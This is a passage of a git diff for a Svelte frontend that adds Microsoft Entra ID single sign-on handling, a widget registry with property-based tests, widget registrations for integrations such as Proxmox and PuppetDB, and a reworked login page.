true }); + + await entraIdAuth.discoverProviders(); + + expect(api.get).toHaveBeenCalledWith('/api/auth/providers', { + timeout: 5000, + maxRetries: 0, + showRetryNotifications: false, + }); + }); + }); + + describe('handleSsoCallback', () => { + let originalLocation: Location; + + beforeEach(() => { + originalLocation = window.location; + Object.defineProperty(window, 'location', { + writable: true, + value: Object.assign({}, originalLocation, { + search: '', + pathname: '/login', + }), + }); + + // Mock window.history.replaceState + vi.spyOn(window.history, 'replaceState').mockImplementation(() => {}); + }); + + afterEach(() => { + Object.defineProperty(window, 'location', { + writable: true, + value: originalLocation, + }); + }); + + it('returns false when no code in URL', async () => { + window.location.search = ''; + + const result = await entraIdAuth.handleSsoCallback(); + + expect(result).toBe(false); + expect(api.post).not.toHaveBeenCalled(); + }); + + it('posts code and stores tokens on success', async () => { + window.location.search = '?code=test-auth-code'; + + const mockResponse = { + token: 'access-token-123', + refreshToken: 'refresh-token-456', + user: { id: '1', username: 'testuser', email: 'test@example.com' }, + }; + vi.mocked(api.post).mockResolvedValue(mockResponse); + + const result = await entraIdAuth.handleSsoCallback(); + + expect(result).toBe(true); + expect(api.post).toHaveBeenCalledWith( + '/api/auth/entra-id/token', + { code: 'test-auth-code' }, + { maxRetries: 0, showRetryNotifications: false }, + ); + expect(authManager.setAuthDataFromSso).toHaveBeenCalledWith(mockResponse); + expect(router.navigate).toHaveBeenCalledWith('/'); + }); + + it('sets exchangeError on token exchange failure', async () => { + window.location.search = '?code=invalid-code'; + vi.mocked(api.post).mockRejectedValue(new Error('Token exchange failed')); + + const result = await entraIdAuth.handleSsoCallback(); + + expect(result).toBe(false); + expect(entraIdAuth.exchangeError).toBe('Token exchange failed'); + }); + + it('cleans the URL after successful exchange', async () => { + window.location.search = '?code=test-code'; + vi.mocked(api.post).mockResolvedValue({ + token: 'tok', refreshToken: 'ref', user: {}, + }); + + await entraIdAuth.handleSsoCallback(); + + expect(window.history.replaceState).toHaveBeenCalledWith({}, '', '/login'); + }); + + it('cleans the URL after failed exchange', async () => { + window.location.search = '?code=bad-code'; + vi.mocked(api.post).mockRejectedValue(new Error('failed')); + + await entraIdAuth.handleSsoCallback(); + + expect(window.history.replaceState).toHaveBeenCalledWith({}, '', '/login'); + }); + }); +}); diff --git a/frontend/src/lib/entraIdAuth.svelte.ts b/frontend/src/lib/entraIdAuth.svelte.ts new file mode 100644 index 00000000..fd114310 --- /dev/null +++ b/frontend/src/lib/entraIdAuth.svelte.ts @@ -0,0 +1,127 @@ +/** + * Entra ID (Azure AD) authentication state management using Svelte 5 runes + * + * Handles: + * - Provider discovery via /api/auth/providers + * - SSO callback code extraction and token exchange + * - Error state for discovery and token exchange failures + * + * Requirements: 10.1, 10.2, 10.5, 10.6, 10.7 + */ + +import { get, post } from './api'; +import { authManager } from './auth.svelte'; +import type { AuthResponse } from './auth.svelte'; +import { router } from './router.svelte'; +import { showError } from './toast.svelte'; + +const PROVIDER_DISCOVERY_TIMEOUT_MS = 5000; + +interface ProvidersResponse { + local: boolean; + entraId?: { + enabled: boolean; + name: string; + }; +} + +class EntraIdAuthStore { + isEntraIdEnabled = $state(false); + entraIdProviderName = $state('Microsoft Entra ID'); + providerDiscoveryError = $state(false); + isDiscovering = $state(false); + isExchangingCode = $state(false); + exchangeError = $state(null); + + /** + * Discover available authentication providers. + * Calls GET /api/auth/providers with a 5s timeout. + * On failure or timeout, sets providerDiscoveryError = true and + * leaves isEntraIdEnabled = false (show only local login). + * + * Requirement: 10.1, 10.2, 10.7 + */ + async discoverProviders(): Promise { + this.isDiscovering = true; + this.providerDiscoveryError = false; + + try { + const response = await get('/api/auth/providers', { + timeout: PROVIDER_DISCOVERY_TIMEOUT_MS, + maxRetries: 0, + showRetryNotifications: false, + }); + + if (response.entraId?.enabled) { + this.isEntraIdEnabled = true; + this.entraIdProviderName = response.entraId.name || 'Microsoft Entra ID'; + } else { + this.isEntraIdEnabled = false; + } + } catch { + this.providerDiscoveryError = true; + this.isEntraIdEnabled = false; + } finally { + this.isDiscovering = false; + } + } + + /** + * Handle the SSO callback redirect. + * Extracts `code` from the current URL query parameters, POSTs it to + * /api/auth/entra-id/token, stores tokens in auth state, and navigates + * to the landing page. + * + * Returns true if a code was present and exchange was attempted, + * false if no code was found (not a callback). + * + * Requirement: 10.5, 10.6 + */ + async handleSsoCallback(): Promise { + const params = new URLSearchParams(window.location.search); + const code = params.get('code'); + + if (!code) { + return false; + } + + this.isExchangingCode = true; + this.exchangeError = null; + + try { + const response = await post('/api/auth/entra-id/token', { code }, { + maxRetries: 0, + showRetryNotifications: false, + }); + + // Store tokens in auth state using the same method as local login + authManager.setAuthDataFromSso(response); + + // Clean the URL (remove ?code= parameter) and navigate to landing page + window.history.replaceState({}, '', window.location.pathname); + router.navigate('/'); + + return true; + } catch (error) { + const message = error instanceof Error ? error.message : 'SSO authentication failed'; + this.exchangeError = message; + showError('SSO authentication failed', message); + + // Clean the URL to remove the code parameter but stay on login page + window.history.replaceState({}, '', window.location.pathname); + + return false; + } finally { + this.isExchangingCode = false; + } + } + + /** + * Clear exchange error state + */ + clearExchangeError(): void { + this.exchangeError = null; + } +} + +export const entraIdAuth = new EntraIdAuthStore(); diff --git a/frontend/src/lib/widgetRegistry.property.test.ts b/frontend/src/lib/widgetRegistry.property.test.ts new file mode 100644 index 00000000..738e478c --- /dev/null +++ b/frontend/src/lib/widgetRegistry.property.test.ts @@ -0,0 +1,288 @@ +/** + * Property-based tests for widgetRegistry.svelte.ts + * + * Uses fast-check to verify universal invariants of the widget registry, + * integration filtering, and priority sorting. + * + * Validates: Requirements 1.1, 1.2, 1.3, 2.2, 2.4, 3.2, 3.3 + */ + +import { describe, it, expect, beforeEach } from 'vitest'; +import fc from 'fast-check'; +import type { Component } from 'svelte'; +import { + registerWidget, + getWidgets, + _resetForTesting, + filterWidgetsByStatus, + stableSortByPriority, +} from './widgetRegistry.svelte'; +import type { WidgetDefinition, WidgetType, IntegrationStatusEntry } from './widgetRegistry.svelte'; + +// Stub component for property tests (never rendered) +const stubComponent = {} as Component; + +// --- Generators --- + +const widgetTypeArb: fc.Arbitrary = fc.constantFrom('action', 'list', 'summary'); + +const integrationNameArb: fc.Arbitrary = fc.stringMatching(/^[a-z]{1,12}$/); + +const widgetIdArb: fc.Arbitrary = fc.stringMatching(/^[a-z0-9-]{1,20}$/); + +function widgetDefinitionArb(): fc.Arbitrary { + return fc.record({ + id: widgetIdArb, + name: fc.string({ minLength: 1, maxLength: 30 }), + component: fc.constant(stubComponent), + integration: integrationNameArb, + type: widgetTypeArb, + colSpan: fc.integer({ min: -10, max: 10 }), + priority: fc.integer({ min: -1000, max: 1000 }), + }); +} + +function validWidgetDefinitionArb(): fc.Arbitrary { + return fc.record({ + id: widgetIdArb, + name: fc.string({ minLength: 1, maxLength: 30 }), + component: fc.constant(stubComponent), + integration: integrationNameArb, + type: widgetTypeArb, + colSpan: fc.integer({ min: 1, max: 3 }), + priority: fc.integer({ min: 0, max: 1000 }), + }); +} + +const integrationStatusArb: fc.Arbitrary = fc.record({ + name: integrationNameArb, + status: fc.constantFrom('connected', 'degraded', 'not_configured', 'error', 'disconnected'), + type: fc.constantFrom('execution', 'information', 'both'), +}); + +// --- Tests --- + +describe('widgetRegistry property tests', () => { + beforeEach(() => { + _resetForTesting(); + }); + + /** + * Property 1: Registration preserves widget definitions + * + * For any valid WidgetDefinition, registering it and querying the registry + * SHALL return a definition with all original fields preserved (except colSpan + * which may be clamped). + * + * **Validates: Requirements 1.1, 1.2** + */ + describe('Property 1: Registration preserves widget definitions', () => { + it('all fields except colSpan are preserved after registration', () => { + fc.assert( + fc.property(widgetDefinitionArb(), (def) => { + _resetForTesting(); + registerWidget(def); + const stored = getWidgets(); + expect(stored).toHaveLength(1); + + const result = stored[0]; + expect(result.id).toBe(def.id); + expect(result.name).toBe(def.name); + // Component reference equality checked via toStrictEqual due to Svelte reactivity proxy + expect(result.component).toStrictEqual(def.component); + expect(result.integration).toBe(def.integration); + expect(result.type).toBe(def.type); + expect(result.priority).toBe(def.priority); + }), + { numRuns: 200 }, + ); + }); + + it('multiple registrations are all preserved in order', () => { + fc.assert( + fc.property(fc.array(widgetDefinitionArb(), { minLength: 1, maxLength: 20 }), (defs) => { + _resetForTesting(); + for (const def of defs) { + registerWidget(def); + } + const stored = getWidgets(); + expect(stored).toHaveLength(defs.length); + + for (let i = 0; i < defs.length; i++) { + expect(stored[i].id).toBe(defs[i].id); + expect(stored[i].integration).toBe(defs[i].integration); + expect(stored[i].type).toBe(defs[i].type); + expect(stored[i].priority).toBe(defs[i].priority); + } + }), + { numRuns: 100 }, + ); + }); + }); + + /** + * Property 2: Column span clamping + * + * For any integer value provided as colSpan during registration, the stored + * colSpan SHALL equal `Math.max(1, Math.min(4, Math.round(value)))`. + * + * **Validates: Requirements 1.3** + */ + describe('Property 2: Column span clamping', () => { + it('stored colSpan equals Math.max(1, Math.min(4, Math.round(value)))', () => { + fc.assert( + fc.property( + widgetDefinitionArb(), + fc.integer({ min: -100, max: 100 }), + (def, rawColSpan) => { + _resetForTesting(); + const input = { ...def, colSpan: rawColSpan }; + registerWidget(input); + const stored = getWidgets()[0]; + const expected = Math.max(1, Math.min(4, Math.round(rawColSpan))); + expect(stored.colSpan).toBe(expected); + }, + ), + { numRuns: 300 }, + ); + }); + + it('colSpan is always in [1, 4] regardless of input', () => { + fc.assert( + fc.property(widgetDefinitionArb(), (def) => { + _resetForTesting(); + registerWidget(def); + const stored = getWidgets()[0]; + expect(stored.colSpan).toBeGreaterThanOrEqual(1); + expect(stored.colSpan).toBeLessThanOrEqual(4); + }), + { numRuns: 200 }, + ); + }); + }); + + /** + * Property 3: Integration filtering + * + * For any set of registered WidgetDefinitions and any integration status + * response, the visible widget set SHALL contain exactly those widgets whose + * integration name appears in the status response with status "connected" or + * "degraded". + * + * **Validates: Requirements 2.2, 2.4** + */ + describe('Property 3: Integration filtering', () => { + it('returns exactly widgets whose integration is connected or degraded', () => { + fc.assert( + fc.property( + fc.array(validWidgetDefinitionArb(), { minLength: 0, maxLength: 15 }), + fc.array(integrationStatusArb, { minLength: 0, maxLength: 10 }), + (widgets, integrations) => { + const enabledNames = new Set( + integrations + .filter((i) => i.status === 'connected' || i.status === 'degraded') + .map((i) => i.name), + ); + + const result = filterWidgetsByStatus(widgets, integrations); + + // Every result widget has an enabled integration + for (const w of result) { + expect(enabledNames.has(w.integration)).toBe(true); + } + + // Every widget with an enabled integration is in the result + const expectedWidgets = widgets.filter((w) => enabledNames.has(w.integration)); + expect(result).toHaveLength(expectedWidgets.length); + + // Preserves order from input + for (let i = 0; i < result.length; i++) { + expect(result[i]).toBe(expectedWidgets[i]); + } + }, + ), + { numRuns: 200 }, + ); + }); + + it('widgets with integration names absent from status are excluded', () => { + fc.assert( + fc.property( + fc.array(validWidgetDefinitionArb(), { minLength: 1, maxLength: 10 }), + (widgets) => { + // Empty integration status → all widgets excluded + const result = filterWidgetsByStatus(widgets, []); + expect(result).toHaveLength(0); + }, + ), + { numRuns: 100 }, + ); + }); + }); + + /** + * Property 4: Stable priority ordering + * + * For any set of widgets, the rendered sequence SHALL be sorted by ascending + * priority weight, and widgets with equal priority weight SHALL appear in their + * original registration order (stable sort). + * + * **Validates: Requirements 3.2, 3.3** + */ + describe('Property 4: Stable priority ordering', () => { + it('output is sorted by ascending priority', () => { + fc.assert( + fc.property( + fc.array(validWidgetDefinitionArb(), { minLength: 0, maxLength: 20 }), + (widgets) => { + const sorted = stableSortByPriority(widgets); + for (let i = 1; i < sorted.length; i++) { + expect(sorted[i].priority).toBeGreaterThanOrEqual(sorted[i - 1].priority); + } + }, + ), + { numRuns: 200 }, + ); + }); + + it('widgets with equal priority preserve original order (stable sort)', () => { + fc.assert( + fc.property( + fc.integer({ min: -100, max: 100 }), + fc.array(validWidgetDefinitionArb(), { minLength: 2, maxLength: 15 }), + (samePriority, widgets) => { + // Give all widgets the same priority to test stability + const samePriorityWidgets = widgets.map((w, i) => ({ + ...w, + priority: samePriority, + id: `widget-${i}`, + })); + + const sorted = stableSortByPriority(samePriorityWidgets); + + // All same priority → original order preserved + expect(sorted).toHaveLength(samePriorityWidgets.length); + for (let i = 0; i < sorted.length; i++) { + expect(sorted[i].id).toBe(samePriorityWidgets[i].id); + } + }, + ), + { numRuns: 200 }, + ); + }); + + it('does not mutate the input array', () => { + fc.assert( + fc.property( + fc.array(validWidgetDefinitionArb(), { minLength: 1, maxLength: 10 }), + (widgets) => { + const original = [...widgets]; + stableSortByPriority(widgets); + expect(widgets).toEqual(original); + }, + ), + { numRuns: 100 }, + ); + }); + }); +}); diff --git a/frontend/src/lib/widgetRegistry.svelte.ts b/frontend/src/lib/widgetRegistry.svelte.ts new file mode 100644 index 00000000..a1bc325a --- /dev/null +++ b/frontend/src/lib/widgetRegistry.svelte.ts @@ -0,0 +1,92 @@ +/** + * Widget Registry — frontend-only reactive store for plugin-contributed widgets. + * + * Integration plugins register widgets at module load time via static import + * side-effects. The registry maintains an ordered collection accessible to + * WidgetGrid for filtering and rendering. + * + * Uses Svelte 5 $state rune for reactive state. + * + * Requirements: 1.1, 1.2, 1.3, 1.4, 1.5, 7.1 + */ + +import type { Component } from 'svelte'; + +export type WidgetType = 'action' | 'list' | 'summary'; + +export interface WidgetDefinition { + /** Unique identifier for the widget */ + id: string; + /** Display name shown in error badges */ + name: string; + /** Svelte component to render */ + component: Component; + /** Integration name (must match /api/integrations/status response) */ + integration: string; + /** Widget category: determines placement (action → ActionRow, others → grid) */ + type: WidgetType; + /** Column span in the grid: 1–4. Clamped to [1,4] on registration. */ + colSpan: number; + /** Numeric priority weight. Lower renders first. */ + priority: number; +} + +export interface IntegrationStatusEntry { + name: string; + status: 'connected' | 'degraded' | 'not_configured' | 'error' | 'disconnected'; + type: 'execution' | 'information' | 'both'; +} + +// Internal reactive state +let definitions = $state([]); + +/** + * Register a widget definition. Column span is clamped to [1,4]. + * Called at module load time as a side-effect of static imports. + */ +export function registerWidget(def: WidgetDefinition): void { + const clamped: WidgetDefinition = { + ...def, + colSpan: Math.max(1, Math.min(4, Math.round(def.colSpan))), + }; + definitions.push(clamped); +} + +/** + * Get all registered widget definitions (readonly snapshot). + */ +export function getWidgets(): readonly WidgetDefinition[] { + return definitions; +} + +/** + * Reset registry state. For use in tests only. + */ +export function _resetForTesting(): void { + definitions = []; +} + +/** + * Filter widgets to only those whose integration is connected or degraded. + * Pure function — no side effects, easily testable. + */ +export function filterWidgetsByStatus( + widgets: readonly WidgetDefinition[], + integrations: readonly IntegrationStatusEntry[], +): WidgetDefinition[] { + const enabled = new Set( + integrations + .filter(i => i.status === 'connected' || i.status === 'degraded') + .map(i => i.name), + ); + return widgets.filter(w => enabled.has(w.integration)); +} + +/** + * Sort widgets by ascending priority weight, preserving registration order + * for widgets with equal priority (stable sort). + * Pure function — no side effects, easily testable. + */ +export function stableSortByPriority(widgets: readonly WidgetDefinition[]): WidgetDefinition[] { + return [...widgets].sort((a, b) => a.priority - b.priority); +} diff --git a/frontend/src/lib/widgets/consoleAccess.widget.ts b/frontend/src/lib/widgets/consoleAccess.widget.ts new file mode 100644 index 00000000..81d0809b --- /dev/null +++ b/frontend/src/lib/widgets/consoleAccess.widget.ts @@ -0,0 +1,12 @@ +import { registerWidget } from '../widgetRegistry.svelte'; +import ConsoleAccessWidget from '../../components/ConsoleAccessWidget.svelte'; + +registerWidget({ + id: 'proxmox-console-access', + name: 'Console Access', + component: ConsoleAccessWidget, + integration: 'proxmox', + type: 'action', + colSpan: 1, + priority: 100, +}); diff --git a/frontend/src/lib/widgets/generalInfo.widget.ts b/frontend/src/lib/widgets/generalInfo.widget.ts new file mode 100644 index 00000000..d3eb4cb8 --- /dev/null +++ b/frontend/src/lib/widgets/generalInfo.widget.ts @@ -0,0 +1,12 @@ +import { registerWidget } from '../widgetRegistry.svelte'; +import GeneralInfoWidget from '../../components/GeneralInfoWidget.svelte'; + +registerWidget({ + id: 'core-general-info', + name: 'General Information', + component: GeneralInfoWidget, + integration: 'bolt', + type: 'summary', + colSpan: 2, + priority: 10, +}); diff --git a/frontend/src/lib/widgets/index.ts b/frontend/src/lib/widgets/index.ts new file mode 100644 index 00000000..8275720e --- /dev/null +++ b/frontend/src/lib/widgets/index.ts @@ -0,0 +1,9 @@ +// Core widgets +import './generalInfo.widget'; +import './latestActions.widget'; + +// Integration-dependent widgets +import './puppetRuns.widget'; +import './puppetAgentActions.widget'; +import './monitoringSummary.widget'; +import './consoleAccess.widget'; diff --git a/frontend/src/lib/widgets/latestActions.widget.ts b/frontend/src/lib/widgets/latestActions.widget.ts new file mode 100644 index 00000000..4fd2279a --- /dev/null +++ b/frontend/src/lib/widgets/latestActions.widget.ts @@ -0,0 +1,12 @@ +import { registerWidget } from '../widgetRegistry.svelte'; +import LatestActionsWidget from '../../components/LatestActionsWidget.svelte'; + +registerWidget({ + id: 'core-latest-actions', + name: 'Latest Actions', + component: LatestActionsWidget, + integration: 'bolt', + type: 'list', + colSpan: 2, + priority: 20, +}); diff --git a/frontend/src/lib/widgets/monitoringSummary.widget.ts b/frontend/src/lib/widgets/monitoringSummary.widget.ts new file mode 100644 index 00000000..be5afcd4 --- /dev/null +++ b/frontend/src/lib/widgets/monitoringSummary.widget.ts @@ -0,0 +1,12 @@ +import { registerWidget } from '../widgetRegistry.svelte'; +import MonitoringSummaryWidget from '../../components/MonitoringSummaryWidget.svelte'; + +registerWidget({ + id: 'checkmk-monitoring-summary', + name: 'Monitoring Summary', + component: MonitoringSummaryWidget, + integration: 'checkmk', + type: 'summary', + colSpan: 2, + priority: 100, +}); diff --git a/frontend/src/lib/widgets/puppetAgentActions.widget.ts b/frontend/src/lib/widgets/puppetAgentActions.widget.ts new file mode 100644 index 00000000..03b00d20 --- /dev/null +++ b/frontend/src/lib/widgets/puppetAgentActions.widget.ts @@ -0,0 +1,12 @@ +import { registerWidget } from '../widgetRegistry.svelte'; +import PuppetAgentActionsWidget from '../../components/PuppetAgentActionsWidget.svelte'; + +registerWidget({ + id: 'puppetdb-agent-actions', + name: 'Puppet Agent Actions', + component: PuppetAgentActionsWidget, + integration: 'puppetdb', + type: 'action', + colSpan: 1, + priority: 50, +}); diff --git a/frontend/src/lib/widgets/puppetRuns.widget.ts b/frontend/src/lib/widgets/puppetRuns.widget.ts new file mode 100644 index 00000000..6aeb9d6c --- /dev/null +++ b/frontend/src/lib/widgets/puppetRuns.widget.ts @@ -0,0 +1,12 @@ +import { registerWidget } from '../widgetRegistry.svelte'; +import PuppetRunsWidget from '../../components/PuppetRunsWidget.svelte'; + +registerWidget({ + id: 'puppetdb-latest-runs', + name: 'Latest Puppet Runs', + component: PuppetRunsWidget, + integration: 'puppetdb', + type: 'list', + colSpan: 4, + priority: 100, +}); diff --git a/frontend/src/novnc.d.ts b/frontend/src/novnc.d.ts new file mode 100644 index 00000000..8b37e551 --- /dev/null +++ b/frontend/src/novnc.d.ts @@ -0,0 +1,21 @@ +declare module '@novnc/novnc' { + interface RFBOptions { + shared?: boolean; + credentials?: { password?: string }; + wsProtocols?: string[]; + } + + export default class RFB extends EventTarget { + constructor(target: HTMLElement, url: string | URL, options?: RFBOptions); + disconnect(): void; + sendCredentials(credentials: { password: string }): void; + get viewOnly(): boolean; + set viewOnly(value: boolean); + get scaleViewport(): boolean; + set scaleViewport(value: boolean); + get resizeSession(): boolean; + set resizeSession(value: boolean); + get clipViewport(): boolean; + set clipViewport(value: boolean); + } +} diff --git a/frontend/src/pages/IntegrationConfigPage.svelte b/frontend/src/pages/IntegrationConfigPage.svelte index d3303ca5..02b015ab 100644 --- a/frontend/src/pages/IntegrationConfigPage.svelte +++ b/frontend/src/pages/IntegrationConfigPage.svelte @@ -29,17 +29,33 @@ const INTEGRATION_ICONS: Record = { proxmox: 'M5 12h14M5 12a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v4a2 2 0 01-2 2M5 12a2 2 0 00-2 2v4a2 2 0 002 2h14a2 2 0 002-2v-4a2 2 0 00-2-2', aws: 'M3 15a4 4 0 004 4h9a5 5 0 10-.1-9.999 5.002 5.002 0 10-9.78 2.096A4.001 4.001 0 003 15z', + azure: 'M3 15a4 4 0 004 4h9a5 5 0 10-.1-9.999 5.002 5.002 0 10-9.78 2.096A4.001 4.001 0 003 15z', puppetdb: 'M4 7v10c0 2.21 3.582 4 8 4s8-1.79 8-4V7M4 7c0 2.21 3.582 4 8 4s8-1.79 8-4M4 7c0-2.21 3.582-4 8-4s8 1.79 8 4', puppetserver: 'M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z', ansible: 'M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z', hiera: 'M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z', ssh: 'M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z', bolt: 'M13 10V3L4 14h7v7l9-11h-7z', + checkmk: 'M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z', }; /** Integrations that support "Test Connection" */ const TESTABLE_INTEGRATIONS = ['proxmox', 'aws']; + /** All integrations that have setup guide pages */ + const ALL_SETUP_GUIDES: { type: string; label: string }[] = [ + { type: 'bolt', label: 'Puppet Bolt' }, + { type: 'puppetdb', label: 'PuppetDB' }, + { type: 'puppetserver', label: 'Puppet Server' }, + { type: 'hiera', label: 'Hiera' }, + { type: 'ansible', label: 'Ansible' }, + { type: 'ssh', label: 'SSH' }, + { type: 'proxmox', label: 'Proxmox' }, + { type: 'aws', label: 'AWS' }, + { type: 'azure', label: 'Azure' }, + { type: 'checkmk', label: 'Checkmk' }, + ]; + // State let integrations = $state([]); let loading = $state(true); @@ -124,6 +140,17 @@ return TESTABLE_INTEGRATIONS.includes(type) && integration.status !== 'not_configured'; } + /** Get setup guide URL for an integration type */ + function getSetupUrl(type: string): string { + return `/integrations/${type}/setup`; + } + + /** Check if an integration has a setup guide */ + function hasSetupGuide(integration: IntegrationStatus): boolean { + const type = integration.type || integration.name.toLowerCase(); + return ALL_SETUP_GUIDES.some(g => g.type === type); + } + /** Test connection for an integration */ async function handleTestConnection(integration: IntegrationStatus): Promise { const key = integration.name; @@ -248,6 +275,20 @@ + + + {/if} diff --git a/frontend/src/pages/IntegrationConfigPage.test.ts b/frontend/src/pages/IntegrationConfigPage.test.ts index d321ca01..10b50223 100644 --- a/frontend/src/pages/IntegrationConfigPage.test.ts +++ b/frontend/src/pages/IntegrationConfigPage.test.ts @@ -285,7 +285,7 @@ describe('IntegrationConfigPage', () => { await fireEvent.click(screen.getByText(/retry/i)); await waitFor(() => { - expect(screen.getByText('Proxmox')).toBeInTheDocument(); + expect(screen.getAllByText('Proxmox').length).toBeGreaterThanOrEqual(1); }); expect(callCount).toBe(2); @@ -313,7 +313,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('Proxmox')).toBeInTheDocument(); + expect(screen.getAllByText('Proxmox').length).toBeGreaterThanOrEqual(1); }); expect(screen.getByRole('button', { name: /test connection/i })).toBeInTheDocument(); @@ -327,7 +327,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('AWS')).toBeInTheDocument(); + expect(screen.getAllByText('AWS').length).toBeGreaterThanOrEqual(1); }); expect(screen.getByRole('button', { name: /test connection/i })).toBeInTheDocument(); @@ -341,7 +341,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('Proxmox')).toBeInTheDocument(); + expect(screen.getAllByText('Proxmox').length).toBeGreaterThanOrEqual(1); }); expect(screen.queryByRole('button', { name: /test connection/i })).not.toBeInTheDocument(); @@ -355,7 +355,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('PuppetDB')).toBeInTheDocument(); + expect(screen.getAllByText('PuppetDB').length).toBeGreaterThanOrEqual(1); }); expect(screen.queryByRole('button', { name: /test connection/i })).not.toBeInTheDocument(); @@ -374,7 +374,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('Proxmox')).toBeInTheDocument(); + expect(screen.getAllByText('Proxmox').length).toBeGreaterThanOrEqual(1); }); await fireEvent.click(screen.getByRole('button', { name: /test connection/i })); @@ -397,7 +397,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('AWS')).toBeInTheDocument(); + expect(screen.getAllByText('AWS').length).toBeGreaterThanOrEqual(1); }); await fireEvent.click(screen.getByRole('button', { name: /test connection/i })); @@ -420,7 +420,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('Proxmox')).toBeInTheDocument(); + expect(screen.getAllByText('Proxmox').length).toBeGreaterThanOrEqual(1); }); await fireEvent.click(screen.getByRole('button', { name: /test connection/i })); @@ -443,7 +443,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('Proxmox')).toBeInTheDocument(); + expect(screen.getAllByText('Proxmox').length).toBeGreaterThanOrEqual(1); }); await fireEvent.click(screen.getByRole('button', { name: /test connection/i })); @@ -463,7 +463,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('Proxmox')).toBeInTheDocument(); + expect(screen.getAllByText('Proxmox').length).toBeGreaterThanOrEqual(1); }); await fireEvent.click(screen.getByRole('button', { name: /test connection/i })); @@ -486,7 +486,7 @@ describe('IntegrationConfigPage', () => { render(IntegrationConfigPage); await waitFor(() => { - expect(screen.getByText('Proxmox')).toBeInTheDocument(); + expect(screen.getAllByText('Proxmox').length).toBeGreaterThanOrEqual(1); }); const testButton = screen.getByRole('button', { name: /test connection/i }); diff --git a/frontend/src/pages/LoginPage.svelte b/frontend/src/pages/LoginPage.svelte index 63878a95..7f058f55 100644 --- a/frontend/src/pages/LoginPage.svelte +++ b/frontend/src/pages/LoginPage.svelte @@ -2,9 +2,10 @@ import { authManager } from '../lib/auth.svelte'; import { router } from '../lib/router.svelte'; import { showError, showSuccess } from '../lib/toast.svelte'; + import { entraIdAuth } from '../lib/entraIdAuth.svelte'; import LoadingSpinner from '../components/LoadingSpinner.svelte'; + import EntraIdLoginButton from '../components/EntraIdLoginButton.svelte'; import { get } from '../lib/api'; - import { onMount } from 'svelte'; let username = $state(''); let password = $state(''); // pragma: allowlist secret @@ -12,6 +13,7 @@ let validationErrors = $state<{ username?: string; password?: string }>({}); let selfRegistrationAllowed = $state(false); let checkingConfig = $state(true); + let initialized = false; // Redirect if already authenticated $effect(() => { @@ -20,18 +22,38 @@ } }); - // Check if self-registration is allowed - onMount(async () => { + // On mount: check for SSO callback code, then discover providers and config + $effect(() => { + if (initialized) return; + initialized = true; + void initializeLoginPage(); + }); + + async function initializeLoginPage(): Promise { + // First, check if this is an SSO callback with ?code= parameter + const handled = await entraIdAuth.handleSsoCallback(); + if (handled) { + // Callback was handled (code was exchanged or failed) — don't proceed with discovery + return; + } + + // Discover available auth providers and check self-registration in parallel + await Promise.all([ + entraIdAuth.discoverProviders(), + checkSelfRegistration(), + ]); + } + + async function checkSelfRegistration(): Promise { try { const status = await get<{ config: { allowSelfRegistration: boolean } | null }>('/api/setup/status'); selfRegistrationAllowed = status.config?.allowSelfRegistration ?? false; - } catch (error) { - console.error('Failed to check self-registration status:', error); + } catch { selfRegistrationAllowed = false; } finally { checkingConfig = false; } - }); + } function validateForm(): boolean { const errors: { username?: string; password?: string } = {}; @@ -66,7 +88,6 @@ if (success) { showSuccess('Login successful', `Welcome back, ${username}!`); - // Redirect to intended path or home router.navigateToIntendedOrDefault('/'); } else { showError('Login failed', authManager.error?.message || 'Invalid credentials'); @@ -98,57 +119,18 @@

-
-
- -
- - - {#if validationErrors.username} -

- {validationErrors.username} -

- {/if} -
- - -
- - - {#if validationErrors.password} -

- {validationErrors.password} -

- {/if} -
+ + {#if entraIdAuth.isExchangingCode} +
+ +

+ Completing sign-in... +

- - {#if authManager.error} + + {:else if entraIdAuth.exchangeError} +
@@ -157,47 +139,171 @@
-

- {authManager.error.message} +

+ SSO authentication failed +

+

+ {entraIdAuth.exchangeError}

- {/if} - - -
- + + + {#if entraIdAuth.isEntraIdEnabled} + +
+
+
+
+
+ or +
+
+ {/if}
- - {#if !checkingConfig && selfRegistrationAllowed} -
-

- Don't have an account? - -

+ {:else} + +
+ + {#if entraIdAuth.isEntraIdEnabled} + + + +
+
+
+
+
+ or +
+
+ {/if} + + + {#if entraIdAuth.providerDiscoveryError} +
+
+
+ + + +
+
+

+ SSO availability could not be determined. You can still sign in with your local credentials. +

+
+
+
+ {/if} +
+ {/if} + + + {#if !entraIdAuth.isExchangingCode} + +
+ +
+ + + {#if validationErrors.username} +

+ {validationErrors.username} +

+ {/if} +
+ + +
+ + + {#if validationErrors.password} +

+ {validationErrors.password} +

+ {/if} +
+
+ + + {#if authManager.error} +
+
+
+ + + +
+
+

+ {authManager.error.message} +

+
+
+
+ {/if} + + +
+
- {/if} - + + + {#if !checkingConfig && selfRegistrationAllowed} +
+

+ Don't have an account? + +

+
+ {/if} + + {/if}
